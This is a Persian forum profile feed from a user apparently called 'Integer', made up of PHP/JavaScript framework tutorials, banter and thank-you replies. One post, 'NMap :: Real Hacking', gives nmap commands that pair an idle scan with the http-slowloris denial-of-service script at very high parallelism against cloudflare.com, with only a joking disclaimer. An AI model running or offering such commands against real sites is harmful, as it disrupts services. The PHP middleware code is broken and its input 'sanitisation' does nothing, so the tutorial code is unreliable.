-
تعداد ارسال ها
778 -
تاریخ عضویت
-
آخرین بازدید
-
روز های برد
1
Integer آخرین بار در روز December 28 2024 برنده شده
Integer یکی از رکورد داران بیشترین تعداد پسند مطالب است!
درباره Integer
- تاریخ تولد 02/05/2004
اطلاعات شخصی
-
نام کاربری در بازی
FaIse
دستاورد های Integer
-
Integer شروع به دنبال کردن HyperScript - یه ترکیبه ملسسس ، اصطلاحات عجیب غریب :: پارت 2 ، HyperScript - Part 2 و 2 کاربر دیگر کرد
-
به نام خداوند بخشنده و مهربان سلاممممممممممممممممممممممممم عرض میکنم خدمت همه ی شما دوستان و خوشتیپای عزیز با یکی دیگه از آموزش هامون در خدمت شماییم توی این آموزش که ادامه ی پارت قبلی هستش ( کلیک ! ) میخوایم بریم و یک مثال عملی از هر کدوم از چیز هایی که گفتیم بزنیم, عکسایی که با پینت کشیدمو بزاریم , و توضیحات مثال ها و توضیحات کامل تری رو راجع به هر موضوع بزنیم آماده این؟ 1- نگاه عمیق توی این بخش یک نگاه عمیقی میندازیم به هر کدوم از موضوع ها و مثالش رو هم میزنیم: 1- MiddleWare (میدل ور - میان افزار): همونطوری که در تاپیک قبلی مطرح کردیم, کار میدل ور ها چک کردن یک سری چیز ها قبل و بعد از ریکویست هستش, اما خب یه مثالی رو هم بزنیم راجع بهش: یک فایل جدید به اسم index.php بسازید و کد های زیر رو داخلش پیست کنید: <?php if(isset($_POST)){ if(isset($_POST['username'] && $_POST['username'] != '' strlen($_POST['username']) > 3 && strlen($_POST['username']) < 18){ echo "Right!"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"> </head> <body> <form action="<?= url("index.php"); ?>" method="post" class="form"> <input class="form-control" name="username" placeholder="Please enter your username to continue..."> <button class="btn btn-primary">Continue</button> </form> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script> </body> </html> در بالا کد بدون میدل ور هستش حالا یک فایل جدید به اسم middleware.php بسازید و داخلش کد های زیر رو پیست کنید: <?php namespace Middleware; class Middle { public function checkName($name){ htmlspecialchars($name); stripslashes($name); strtolower($name); $pattern = "<(.+)>.*<\/\1>"; if($name != '' && strlen($name) > 3 && strlen($name) < 18){ if(preg_match($pattern, $name)){ replace('<', '', $name); return false; } else { return true; } } else { return false; } } } ?> و در فایل index.php موارد زیر رو پیست کنید: <?php using Middleware\Middle; $middleobj = new Middle(); if(isset($_POST)){ if($middleobj->checkName($_POST['username'])){ echo "Right!"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"> </head> <body> <form action="<?= url("index.php"); ?>" method="post" class="form"> <input class="form-control" name="username" placeholder="Please enter your username to continue..."> <button class="btn btn-primary">Continue</button> </form> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script> </body> </html> کد رو در زمپ امپس ومپ لمپ یا سرور خود پی اچ پی اجرا کنین و لذت ببرید **اگر به هر دلیلی کار نکردش کد لطفا به بنده بگید که فیکسش کنم** دوستان, برای اینکه بقیه ی عزیزان اذیت نشن و نگن که طولانی بود و نخوندیم به 7 قسمت تقسیم کردم این قسمت دوم رو تا اوکی باشید و اذت ببرید امیدوارم که میدل ور رو به خوبی یاد گرفته باشید تا تاپیک های بعدی شما رو به خدای بزرگ میسپارم! الله یارتون باشه!
-
خب خب عامو نیگا خان انصافا بدونه ما صندلیت داغ شدش؟ آماده ای؟ عامو؟ 1- سلام خوبی؟ چه خبرا؟ منم خوبم سلامتی 2- سوال بسیار سخت (اسم بازی زیر چیه؟ و برای چه سیستمی هستش؟) 3- راهنمایی برای سوال 2: از اونجایی که سابقه گیمریم 1 روزه و حتی استریمر های بزرگ مثل پوریا پوتک نتونستن منو شکست بدن, این راهنمایی رو بهت میکنم که این رزیدنت اویل برای کالی لینوکس هستش 4- راستی منو میشناسی؟ (بگی نه ناراحت مشیم) 5- ال اس پی دی خوش میذگره؟ 6- راستشو بگو چند بار سیلی زدی در گوش فرمانده توی خدمتت؟ 7- چند بار دستشویی هارو شستی؟ 8- چند تا دختر مخ کردی؟ 9- چند تا چیز قایم کردی؟ 10- میدونستی هممون معتادیم؟ 11- ارزش روبی بیشتره, گولد یا جم؟ (الان میگه فقط سی پی ) 12- اسمت نیگاس ولی واقعا نیگا نیستی واهای؟ 13- مشخصات سیستمتو بگو یکم فشار بخوریم: برند مانیتور: ورژن دیرکت ایکس: کارت گرافیک: رم: رم گرافیک: کارت های سوند: (صدا) ویندوز/مک/لینوکس: ورژن سیستم عامل: پردازنده: چند تا هسته؟: چند جی اچ زد؟: (Windows + R رو بزن, بعدش بنویس dxdiag و رانش کن, اونجا همه ی اینارو میتونی ببینی) 14- راستی نیگا خان چند سالته؟ 15- کد 00 روی مادربرد به چه معنیه (This is END): کاری نداری؟ نه منم ندارم خدانگهدارت حاجیو
- 133 پاسخ
-
- 1
-
-
به نام خالق یکتا سلامممممممممممممممممممممممممممممممم عرض میکنم خدمت همه ی شما دوستان عزیز امیدوارم هرجا که هستید زنده و پاینده باشید (البته در حال حاظر هم روحتون این مطلب رو نمیبینه پس زنده این متاسفانه ) با یک مطلب جدید در خدمت شما هستم عرضم به درزتون که دیدیم خیلی خیلی حمایت کردید تو پارت اول ( کلیک ! ) واسه همین تصمیم گرفتم سریع تر واستون بزارم مطلب رو دیگه مقدمه چینی (ژاپنی نیاااا) نمیکنم بریم سراغ کار اصلیمون 1- AngularPHP (یه ترکیبه ملسسس دیگه) خب! با انگولار این تاپیک رو استارت میزنیم! اما خب انگولار چی میباشد؟ انگولار (انگلیسی: Angular; همچنین به عنوان "انگولار ۲+") یک فریمورک آزاد و متنباز مبتنی بر تایپاسکریپت است که برای توسعه برنامههای تکصفحهای تحت وب استفاده میگردد و توسط گوگل و جامعهای از افراد و شرکتها توسعه یافته است. انگولار، بازنویسی کامل انگولارجیاس توسط همان تیم سازنده آن است. اکوسیستم انگولار متشکل از حدود ۱٫۷ میلیون نفر و مجموعهای گوناگون از توسعهدهندگان نرمافزاری، برنامهنویسان کتابخانه و سازندگان محتوا است. بر اساس نظرسنجی توسعهدهندگان نرمافزار در استک اورفلو انگولار یکی از رایجترین فریمورکهای تحت وب است منبع: ویکی مدیا خب, شرمنده دیگه گوشادیمون اومد ساعت 6 صبح بشینیم بنویسیم توضیحات رو واسه همین اینکار رو کوردیم دیگر خب, حالا که فهمیدین انگولار چیه بریم سراغ مزیت های استفاده: 1- زبان قوی, جامعه ی بزرگ, فریم ورک مدرن, جمع و جور: اول که باید بگیم که PHP یک زبان بسیار بسیار قدرتمند هستش, جامعه ی بسیار بزرگی داره و شما میتونید هر مشکلی براتون پیش اومد سریع از این جامعه ی قدرتمند, بزرگ و فعال بپرسید, در سمت فرانت اند هم, انگولار رو داریم! یک فریم ورکی از جاوااسکریپت, مدرن و جمع و جور, سینتکسی بسیار بسیار شبیه به VueJS داره, شما VueJS رو بلد باشین, به سادگی این فریم ورک (چارچوب) قدرتمند رو یاد میگیرید! 2- استفاده در پروژه های متوسط: زمانی که یک پروژه ی کوچیک و یا متوسطی دارید, از یه ترکیبه ملسسس دیگه میتونین استفاده کنین! انگولارپی اچ پی یه ترکیبه خیلی خفنی هستش که میتونین در پروژه های کوچیک و متوسط رو به بالا استفاده کنید, پروژه هایی که نیاز به فرانت اند قوی دارن, برخلاف VueJS, که فقط در پروژه های کوچیک رو به بالا میشه استفاده کرد, از انگولار میشه هم در پروژه های کوچیک و هم متوسط استفاده کرد! 3- سینتکسی بسیار مشابه با VueJS: انگولار بسیار بسیار شبیه به VueJS هستش! شما اگه VueJS رو بلد باشید, به سادگی این فریم ورک قدرتمند رو میتونید یاد بگیرید! در کل, انگولار در پروژه هایی که زیاد به کارایه خیلی عجیب غریبی دارن میشه استفاده کرد به همراه زبان قدرتمند PHP! مثلا میخواید سیستم تیم کارکنان (مثل آرساکیا گیم (ناظم, مدیریت, سرپرست و...)) داشته باشید, میتونید از این دو در کنار هم دیگه استفاده کنید! (ایشونو صد بار تا حالا آپلود کردم بک گراند لعنتیش حذف نمیشه دیگه شما بدونه بک گراند تصور کنیدش) 2- ReactPHP (این دیگه یه ترکیبه جدیده!) بله دوستان! یه ترکیبه جدیده دیگه! یکی از خفن ترین مواردی که میتونید مشاهده کنید! معرفی میکنم! این شما و اینم ریکت پی اچ پی! گاد ملس بی رحم! اما خب اول باید ببینیم که ریکت چیپست : ریاکت (به انگلیسی: React)، که با نامهای React.js یا ReactJS نیز شناخته میشود یک کتابخانه جاوا اسکریپت رایگان و متنباز برای فرانتاند است که هدف آن، سادهتر و روانتر کردن ساخت رابطهای کاربری مبتنی بر کامپوننتها است. این کتابخانه توسط شرکت متا (همون شرکتی که صاحب فیسبوک, واتساپ, اینستاگرام, دردز و... هستش) و جامعهای از توسعهدهندگان مستقل و شرکتها نگهداری و پشتیبانی میشود. ریاکت میتواند برای توسعهی برنامههای تکصفحهای (SPA)، موبایل یا برنامههای رندر شده در سرور با فریمورکهایی مانند نکست جیاس و ریمیکس استفاده شود. از آنجا که ریاکت فقط بر روی رابط کاربری و رندر کامپوننتها در DOM تمرکز دارد، معمولاً برنامههای ریاکت برای مسیریابی و سایر قابلیتهای سمت کلاینت به کتابخانههای جانبی متکی هستند. یکی از مزیتهای کلیدی ریاکت این است که فقط بخشهایی از صفحه را که تغییر کردهاند، دوباره رندر میکند و از رندر غیرضروری عناصر تغییریافته در DOM جلوگیری میکند. منبع: ویکی پدیا خب, الان هم دوباره فرض میکنیم که شما اینو خوندیدش (الکیاااا ) و الان میدونید ریکت چه چیزی مییباشد, الان میریم سراغ مزیت هاشون: 1- مناسب پروژه های سنگین و بزرگ: در حال حاظر این فریم ورک و زبان, دو تایی میتونن هندل کنن یه پروژه ی قدرتمند رو! اونم به صورت تکی! (بدون نیاز به فریم ورک عه اظافه ی دیگه!) در حال حاظر تنها مزیتی که میتونم از این دو بگم همین هستش, بله دوستان! این تاپیک هم تا همینجا ادامه داشت! قسمت سومی هم ممکنه وجود داشته باشه... پس این قسمت هارو از دست ندید شب و روزگار بر شما خوش, خدانگهدارتون!
-
داش قسمت بعدی رو پس ببینید سکته ی قلبی مغزی میکنید منی که قراره بنویسمشون =))))
- 4 پاسخ
-
- 1
-
-
به نام خالقی که به انسان, سخن را آموخت سلامممممممممممممممممممممممممممممممممممممم خیدمت شوما دوستانان عزیز با یکی از گنگ ترین آموزش ها در خدمتتونم! از همین اول بگم, بنده هیچچچچچ مسیولیتی در قبال سواستفاده از این مطالب آموزشی ندارم و اینم بگم که هیچکدوم از این موارد رو در وب سایت های واقعی (در صورتی که مجوزی ندارید) اجرا نکنید! وگرنه فردا خبر دستگیریتون توسط FBI, InterPol, SAS IRGC, SAS Army, VAJA میادش جدی میگم از هیچ کدوم از این هایی که میگم سواستفاده نکنین 1- اصطلاحات مورد نیاز این تاپیک خب اول باید یک سری چیز هارو بدونیم بعد بریم سراغ کار خودمون Third Person (Idle Zombie): اول از همه باید بدونیم "شخص سوم | زامبی | بیکار (یا بی گناه)" چی هستش, ما وقتی میخوایم هک کنیم, نمیایم از IP خودمون استفاده کنیم, از یه نفر سومی استفاده میکنیم, این نفر سوم هم یک شخص مجازی توی دنیای اینترنت هستش, شما اسمش رو تعیین میکنید, اما IP, بزارید نگم چون جمعمون یکم دارک میشه شوخی کردم, از IP یه بدبختی توی اینترنت استفاده میکنه DoS: به معنی منع سرویس های یک سرورسی, سرور رو از دسترس خارج میکنیم 2- Network Mapper (NMap) خب میریم سراغ کارمون! Linux: sudo nmap -sI NameOfPersonThatYouWant cloudflare.com sudo nmap -sI JavadInteger cloudflare.com Windows: Run windows command prompt (CMD) with run as administrator Write: nmap -sI NameOfPersonThatYouWant cloudflare.com nmap -sI Mamad_Javad_Integer cloudflare.com ایشون میاد و یک نفری رو با اسم دلخواه شما و با آی پی عه عشقی عه ان مپ میسازه nmap -p80 --script=http-slowloris --script-args http-slowloris.duration=30s,max-parallelism=9999 cloudflare.com یک حمله ی DoS ای میزنه که نگم واستون! اما این دو کد رو باید با هم دیگه استفاده کنید, به صورت زیر: nmap -sI NameETo -p80,443 --script=http-slowloris --script-args http-slowloris.duration=30s,max-parallelism=9999 cloudflare.com فقط کافیه اینو اجرا کنید! هیچ اتفاقی نمیوفته چون داریم یه سایت گنده رو هک میکنیما بعد بیاد در علیه 9999 تا ریکویست رو نتونه ساپورت کنه؟؟ چیزی که موقع ی اجرا ی این کد, Cloudflare بهتون میگه: برو بچه *نا مسلمان* (به جای *نا مسلمان* چیزی که میدونید میادش ) خب دوستان, هنوز آموزش تموم نشده! تازه من هنوز بهتون توضیحاتی رو ندادم! این آموزش رو فقط گذاشتم که با هک و تست نفوذ عه واقعی آشنا بشید! همه ی اصطلاحات رو به شما میگم و آموزش رو میبندیم, ممنونم که همراه من بودید, رو آرساکیا اجراش نکنینااااا شیطونا شب و روزگار بر شما خوش, خدانگهدار!
-
به نام خداوند جان و خرد سلاممممممممممممممممممممممممممممممممممممم خدمت همه ی شوما عزیزان امیدوارم که حالتون خوب باشه در این تاپیک میخوایم یه موضوع خیلی باحال و جذابی رو بررسی کنیم! اسمش رو میتونیم بزاریم... بزارین فکر کنیم... آها! یه اسم باحالی که برای این تاپیک میشه گذاشت, "اصطلاحات عجیب غریب" هستش! توی این تاپیک, میخوایم اصطلاحات غلمبه ای از برنامه نویسی رو یاد بگیریم, برای بعضی ها خیلی عجیب و غریب ممکنه باشه, ولی پشت این اسم عجیب غریب, یه توضیحات خیلی واظحی هم وجود داره! تازه با عکس هایی که از تو پینت کشیدم بهتون بهترم می توضیحم دیگه مقدمه چینی نمیکنم, بریم سراغ کار اصلیمون 1- اصطلاحات عجیب غریب! در این بخش میخوایم اسم (فقط اسم) اصطلاحات عجیب غریبمون رو ببریم و در بخش بعدی توضیحاتشون رو بدیم! در اینجا فقط یه توضیح خیلی مختصر مثل معنی ای که داره و چیکار میکنه رو گفتیم, در بخش بعدی کامل با مثال عملی توضیح دادیم که چی به چیه! 1- MiddleWare (میدل ور - میان افزار): میان افزار ها یکی از پرکاربرد ترین اصطلاح در برنامه نویسی وب هستن! میان افزار به معنی این هستش که قبل از اینکه درخواست کاربر به سرور اجرا بشه, یک سری مواردی اجرا میشن, مثلا یکی از کار های میان افزار چک کردن این هستش که کسی نیاد تو مثلا فیلد های ورود/ثبت نام کد مخرب بنویسه, اگه کد مخربی وجود نداشت, درخواست به کنترل ارسال میشه و کنترلر ممکنه ویو و مدل رو درگیر کنه 2- Controller (کنترلر - کنترل گر برنامه): همون طور که از اسمش پیداست, منطق برنامه ی ما رو مینویسه, همه ی درخواست ها, اول به کنترلر داده میشن, آنالیز میشن, و در صورتی که واقعا نیاز بود, ویو (View) و مدل (Model) درگیر میشن, چیز عجیبی نیست, مگه نه؟ یکی از 3 عنصر اصلی تشکیل دهنده ی MVC هستش 3- Model (مادل - مدل) - بله دوستان! ایشون هم یکی از 3 عنصر تشکیل دهنده ی MVC هستن, در مادل ما منطق دیتابیس رو مینویسیم, منظورم از منطق, هلپر فانکشن ها هستنا در اصل (الان چهار تا اینیشتنگ دوباره میان میگن فلانه بسانه این اینجا این شکلی گفته دیگههه بلد نیستش برنامه نویسی رو), هلپر فانکشن هایی مثل SELECT, INSERT, DELETE و UPDATE رو در مادل ما پیاده سازی میکنیم! به همین راحتی! 4- Routing System (روتینگ سیستم - سیستم مسیر یاب): بله دوستان! ایشون گنگستر شهره وب سایت بومه! همونطور که از اسمش پیداست, وب سایت رو مسیر یابی میکنه, اگه دیده باشید, در بعضی از سایت ها URL به صورت زیر هستش: https://example.com/users.php?userID=1&name=JavadInteger همین URL, در بعضی از سایت ها به شکل زیر هستش: https://example.com/users/1/JavadInteger سایت اول از روتینگ سیستم استفاده نمیکنه, ولی سایت دوم استفاده میکنه! 5- Repository (ریپوزیتوری - مخزنی): بله دوستان! شما رو میخوام با یکی از الگو های های برنامه نویسی (Design Pattern) آشنا کنم! این شما و اینم برنامه نویسی مخزنی! اسمش شاید یکم مسخره باشه! ولی پشت این اسم مسخره یه الگوی خفن هستش! این الگو میاد و به برنامه نویسا میگه که: "هنوزم با دیتابیست به صورت مستقیم ارتباط برقرار میکنی ایرانی؟ خب نکن دیگه, به جاش, بیا و به صورت غیر مستقیم عملیات های CRUD رو انجام بده!" 6- Microservice (میکرو سرویس - سرویس های کوچک): بله دوستان! ایشون هم یکی دیگه از الگو های برنامه نویسی هستش! این شما و اینم میکرو سرویس! اینم الگو میاد و میگه که: "به جای اینکه به دو بخش تقسیم کنی پروژه رو (فرانت اند - بک اند || یو آی - یو ایکس || جلو بندی - عقب بندی || صفحه - منطق و...), برای هر بخش یه پروژه ی جدید بزن!", مثلا ما 100 تا بخش داریم تو فرانت و در عین حال 200 بخش تو بک, ما نمیایم همه ی پروژه رو تقسیم کنیم روی فرانت و بک! به جاش میایم 100 بخش فرانت اند و 200 بخش بک رو به یک پروژه ی مجزا تقسیم میکنیم, یعنی 100 پروژه برای فرانت, و 100 پروژه بر روی بک! و بعد با API اون هارو به هم دیگه تقسیم میکنیم! به همین خوشمزگی! خب دوستان عزیز, در قسمت بعدی میریم سراغ توضیحات + مثال های عملی برای اصطلاحاتمون, امیدوارم که همراه ما باشید و تونسته باشیم که قطره ای به علم شما اظافه کنیم! البته قطره ای هم کوچکتر! چون مطالبی که ما میزاریم ممکنه حتی 0.00000001% هم اشتباه باشن, و نمیشه گفت قطره ای! چیزی کوچکتر از قطره! پس امیدواریم که خودتون رو فقط به ما اعتکا نکنید, زیاد سرچ کنید! زیاد آموزش ببینید! اما زیاده روی هم نکنید, لطفا هم فکر نکنید که بنده به قصد بدی یا به نیت اینکه خودم رو زیاد گنده جلوه بدم میام به شما اینارو آموزش میدم, اکثر آموزش هایی که من به شما میدم در لحظه این, یعنی من خودم همون موقع یاد گرفتم میام برای شما اینارو میزارم, مثلا 1, 4, و 5 رو من خودم همین الان که مطلب رو دارم برای شما میفرستم یاد گرفتم, در اصل شنیده بودم, ولی هی میگتم فردا یاد میگیرم - پس فردا پسون فردا از شنبه دیگه استارته! ای بابا شنبه هم نشد اشکال نداره شنبه هفته بعد و همینطوری بعد ها و بعد ها و بعد ها تا اینکه کلا یادم میره چی بود , زیاد آموزش بدید, وقتی که میخواید آموزش بدید, مجبور میشید که برید اون مطلب رو یاد بگیرید, مجبور میشید که دوباره تمرین کنید و هی و هی و هی, و طی تمرین ها هم چیزای جدید یاد میگیرید, چیزی رو داخل برنامه نویسی حفظ نکنید, بخوام به قول خودمون بگم, کد زیر رو تو مغزتون بنویسید #ifdef be_zehn_sepordane_khenzel_penzel_haye_barname_nevisi #undef be_zehn_sepordane_khenzel_penzel_haye_barname_nevisi #endif امیدوارم که سرتون رو درد نیاورده باشم, خیلی ممنونم که بهم اجازه دادید که بهتون یک مینی آموزش دیگه ای بدم, خوب تمرین کنید که قراره تو تاپیکه بعدی بریم سراغ آموزش عه واقعیمون, NMap :: Real Hacking هم قراره چند دیقه ی دیگه بزارم پس آموزش رو از دست ندید! علی, یارتون باشه! و خدا, حافظ تون!
- 4 پاسخ
-
- 1
-
-
خیلی ممنونم از همتون
-
عمو مملی عشق مایی تاج سری نه حاجی بچه مشهد نیستم ولی بعضی اوغات همین طوری میاد تو ذهنم که این شکلی حرف بزنم خیلی ممنونم, خیلی خیلی انرژی میدید به آدم واقعا ممنونم, خیلی هم خوشحالم که تونستم مفید براتون واقع بشم Thank's ممنونم ممنونم عامو امیر مچکرم
- 8 پاسخ
-
- 2
-
-
-
به نام خداوند جان و خرد سلامممممممممممممممممم خدمت یک یک شوما دوستان عزیز امیدوارم هرجا هستید زنده و پاینده با شیوید امروز اومدیم که یه چیز خیلی خفن رو بررسی کنیم یه ترکیبه خیلی خفنی از دو زبان برنامه نویسیه بخوایم اسم اصلیش رو بزاریم, اسمشو میزاریم "HyperScript Preprocessor", مگه نه؟ فکر کنم اینیشتنگ های عزیز متوجه شدن منظور از این چیه! بله دوستان! این ترکیبه خیفن ترکیبه زبان "HyperText Preprocessor" یا به اختصار PHP, و ترکیبه فریم ورک های "JavaScript" هستش اما خب دیگه سرتون رو درد نمیارم و میخوایم مستقیم بریم سراغ مطلب اصلی 1- ترکیبه VuePHP فعععکر کنم متوجه شدین چی به چیه و داستان از چه قرار هستش این ترکیب, ساخته شده از Vue.JS و زبان محبوب PHP هستش یه ترکیبه گنگ, جمع و جور و خفن! اما مزیت های استفاده از PHP به همراه JavaScript یک سری مزیت ها داره, بعد از اینکه اونارو بگم, میریم سراغ مزیت های VuePHP مزیت های این دو در کنار هم: جدا سازی فرانت-اند و بک-اند: با این روش, شما میتونین فرانت-اند و بک-اند رو از هم دیگه جدا کنین, جوری که دیگه در کد زنی دچار گیج شدن نشید, منطق برنامه, داده ها و... رو با کمک PHP و ویو (منظورم اون یکی ویو (View) هستش...), نمایش داده ها و هرچی که کاربر میبینه رو با فریم ورک های JavaScript کد تمیز و داینامیک: منظور از کد تمیر و داینامیک, به این معنی هستش که شما میتونین با استفاده از PHP داده های هر *مورد نظر کاربر* رو براش فچ (Fetch - Get - Select .......) کنید, به این نوع از کد زنی داینامیک میگن, یعین مثلا شما یک سایت آموزشی دارید مثل هزاران سایت دیگه, شما میاید و یکبار برای بخش جزییات آموزش کد میزنید, و میتونید هزاران دوره بسازید و به نمایش در بیارید, بدون اینکه داده ها اشتباهی فچ (Fetch - Get - Select .......) بشن, و با فریم ورک های JavaScript اونارو به نمایش بدرید... اما مزیت های VuePHP: وقت یادگیری کم: بسیار بسیار وقت کمی برای یاد گیری میخوان این دو, شما میتونین در عرض 1 ماه و خورده ای جمع کنید همه ی مطالب رو زبان قوی, فریم ورکی جمع و جور: با استفاده از زبان PHP میتونین خیلی کار هارو انجام بدید, از کرل (cURL) گرفته یا REST API های قوی, روتر و..., در این میان هم, Vue.JS کم نمیاره, ویو یک فریم ورک جمع و جور هستش, برای وب سایت هایی که نیاز به کار های خیلی عجیب غریب ندارن, میتونین از این فریم ورک استفاده کنین در کنار PHP فکر کنم که تا این جا کافی باشه, ممنونم که همراهی کردین منو تا اینجا, امیدوارم که لذت برده باشید چند قسمت دیگه هم از این سری آموزشی مونده, امیدوارم که عالی عالی یاد بگیرید و بتونم قطره ای به علم شما اظافه کنم, خدانگهدار همتون!
-
ممنونم از نظر دلگرم کنندتون
-
درود بر شما, خیلی ممنونم بابته نظرتون چشم فعلا که متاسفانه سرم به شدت شلوغه و درگیر یک سری مسایل هستم, اما به زودی هم آپدیت برای بیز و هم برای بانک رو به صورت هم زمان ریلیز میکنم براتون و به صورت اوپن سورس که دوستان توسعه دهنده بتونن بیان و تغییرات دلخواه برای خودشون رقم بزنند
-
H,kd ;i fh k,;dh \gd ldni ]d fhdn f'i of o,ajd\ رمز رو بشگونی به اطلاعات جالبی میرسی
-
میدونی چرا؟ چون از پروفایلت مشخصه که اول خودت کشیدی بعد اومدی اینجا یه چی گفتی ...